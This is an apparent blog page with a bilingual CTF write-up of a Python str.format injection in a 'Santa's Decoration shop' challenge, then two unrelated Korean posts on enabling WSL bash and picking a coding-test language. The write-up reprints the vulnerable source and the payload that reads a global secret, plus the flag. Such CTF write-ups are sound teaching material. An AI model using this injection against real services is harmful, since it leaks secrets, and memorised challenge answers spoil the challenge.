English write-up

 

You can find the menu below when connect to the problem server with nc.

 

If you choose menu No.3, the server reply the source code.

 

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

With menu No.1 you can add some items to the entry, you can print them out with menu No. 2.

 

At first, I paid attention to code part with comment "# Too lazy to sanitize this", because I thought that is a hint from the problem setter. But there wasn't nothing special there.

 

Near the function "print_decoration", there is a code line uses python format function. Although I didn't know about  python format string grammer precisely, but there is no consistency between "quantity value" and "type value".

Because "quantity value" is injected into the string with format string, but "type value" is inserted into the string with string concatenation. It seems very suspicious.

 

Finally, I found there is format string bug on that line.

print ('{0.quantity} x ... '+ self.type).format(self)

0 inside curly brace means the 0-indexed parameter of format function. In this case, 0 means "self" parameter which is Decoration object.

Thus, 0.quantity means "quantity" property of self object.

 

self.type value is inserted to the string with string concatenation, we can insert another format string.

The our custom format string will be evaluated with format function.

 

If you insert {0.__init__.__globals__[flag]} to type value, you can find the value of flag which is global variable.

 

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

Gotcha!

We've got flag "X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}"

 

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

 

 

한국어 풀이

 

MISC 문제이다. nc로 접속해보면 다음과 같은 메뉴들이 나타난다.

 

3번 메뉴를 선택하면, 소스코드를 알려준다.

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

 

1번 메뉴를 이용해서 아이템들을 추가할 수 있고, 2번 메뉴를 통해서 추가된 아이템들을 출력해볼 수 있다.

 

소스코드중에서 주석 처리된 부분 # Too lazy to sanitize this라는 부분이 힌트인줄 알고 계속 보았는데, 이 부분은 별다른 내용은 없었다.

 

2번 메뉴중 print_decoration부분에서 python format string에 format 함수를 이용해서 입력하는 부분이 있는데, 해당 문법을 몰라서 감을 못잡다가, 해당 부분에 포맷 스트링 버그가 있는 것을 알 수 있었다.

 

print ('{0.quantity} x ... '+ self.type).format(self)

위 부분에서 self.type을 붙여서 format 스트링을 만든 뒤, format함수를 통해서 evaluation이 되게 되는데, {0.quantity}의 의미는 format 함수의 0번째 인자의 quantity 프로퍼티를 뜻한다.

 

self는 Decoration 객체를 뜻하므로, self.type에 {0.__init__.__globals__[flag]}라는 값을 입력시킨 뒤 출력하게 만든다면 전역변수 flag에 있는 값을 출력시킬 수 있게 된다.

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

flag는 X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5} 이다.

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

WSL이 지원됨에 따라 Windows에서도 bash를 사용할 수 있다고 한다.

 

설정하는 김에 따라해보자.

 

시작메뉴에서 "개발자"라고 검색한다.

 

개발자 설정으로 들어간다.

 

개발자 모드를 클릭하면 경고창이 뜨는데 "예"를 누른다.

혹은 아래와 같이 나타나는데, 개발자 모드를 "켬" 으로 바꾸어준다.

 

시간이 조금 걸린다.

 

 

조금 기다리면, 개발자 모드 패키지가 설치되었다고 뜬다.

이제 다시 시작메뉴에서 "windows 기능"이라고 검색한다. 윈도우즈랑 기능 사이에 스페이스바 한칸이 들어가야 한다.

 

Linux용 Windows 하위 시스템을 체크한다. WSL이 Windows Subsystem for Linux의 약자로 한글로 번역된 내용이 Linux용 Windows 하위 시스템이다.

 

재부팅을 하라고 하는데, 지금 할거면 "다시 시작"을 누르고 나중에 할거면 "다시 시작 안함"을 누르면 된다.

 

cmd창을 열고 bash라고 쳐 보니, bash가 설치되어 있지 않다고 한다.

웹 브라우저에 aka.ms/wslstore라고 치니 스토어 앱이 열린다.

 

 

필자는 ubuntu를 설치하기로 했다.

저기 보이는 무료라는 버튼을 누르면 설치가 된다.

설치가 되고 있는 모습이다.

설치가 다 되어서, 실행 버튼을 눌러 보았다.

유닉스 사용자명을 만들라고 하는데, 윈도우랑은 달라도 된다.

다 된 모습이다.

이제 아무 cmd를 열어서 bash라고 쳐도 Win bash가 실행된다.

 

끝!

블로그 글이니 당연하겠지만, 이 글은 개인적인 견해가 담겨있는 글입니다.

 

 

신입사원 공채, 경력사원 공채에서 가장 많이 쓰이는 언어는 C/C++과 Java이며, 요즘에는 Python도 지원하는 경우가 꽤 늘고 있습니다.

 

 

솔직히 어떤 언어를 사용해야 할 지는 정답은 없지만, 각자에게 해답은 있을 수 있습니다.

 

일단 고려해야하는 부분들이 다양하게 있습니다.

 

언어 선택의 기준

본인이 익숙하거나 잘하는 언어

본인이 이미 어느정도 능숙하게 사용하거나, 익숙하게 쓸 수 있는 언어가 있다면 해당 언어를 사용하는 것을 고려해보면 좋습니다.

딱히 능숙한 언어가 없고, 다 고만고만하다면 다른 기준으로 언어를 골라서 조금 더 익숙해지게 연습하는 것도 좋습니다.

만약 본인이 익숙한 언어가 C/C++, Java, Python 중 하나라면 그 언어를 골라서 쭉 공부하는게 좋을 것 같습니다.

 

많이 지원하는 언어

여기서 지원한다는 것은 원서 지원(apply)가 아닌, 언어 지원(support)라고 볼 수 있습니다. 본인이 만약 A사에 지원하려고 하고 주력언어가 OCaml인데, 해당 회사 코딩테스트 플랫폼에서 OCaml을 지원하지 않는다면 어떻게 될 까요?

많이 지원하는 언어들은 이러한 부분을 고려할 필요가 덜합니다.

 

일반적으로 C/C++및 Java를 코딩테스트 언어로 지원하지 않는 경우는 거의 없다고 보시면 됩니다.(특수한 직종이 아닌 이상)

그리고 Python의 경우 회사에 따라서 지원할 수 도, 아닐 수도 있습니다.

 

그리고 일부 회사는 꽤나 많은 언어들을 지원하는데, Javascript와 같은 언어도 지원하는 경우도 간혹 있습니다.

 

공부할 자료가 많은 언어

코딩테스트 공부를 하기 위해서는, 문제 풀이 코드들을 보면서 공부를 할 일들이 있을 것인데, 본인의 주력 언어가 C#인데 대부분의 알고리즘 문제 풀이 코드들이 C++나 Java이고 C++과 Java를 읽지 못한다면 공부하는데 있어서 애로사항이 있을 수 있습니다.

문제풀이 코드는 C/C++언어 코드가 제일 많고, 그 다음으로는 Java가 많다고 볼 수 있습니다. 이러한 점에서 C/C++이나 Java를 선택하면 남의 코드를 참고할때 유리한 점이 있습니다.

 

물론 C/C++, Java를 잘 쓰진 못하더라도 읽기라도 잘 한다면 알고리즘 공부에 크게 어렵지는 않을 것입니다.

 

 

결론

본인이 이미 익숙한 언어가 있다면 그 언어로 해라.

(Java를 잘하면 그냥 Java 하면 된다)

(Python을 잘하면, 원하는 회사에서 지원하면 파이썬 쓰고 아니면 C++해라)

 

본인이 원하는 회사에서, 본인의 주력 언어로 코딩테스트를 볼 수 없다면, C/C++, Java, Python 중에서 제일 편한거를 하나 골라라.

 

애매하면 그냥 C/C++을 주력으로 공부하라.

C/C++를 주력언어로 하면 손해 볼 일은 없다.

 

코딩테스트 수준이 아닌 대회 준비할 거면 그냥 C++해라.

+ Recent posts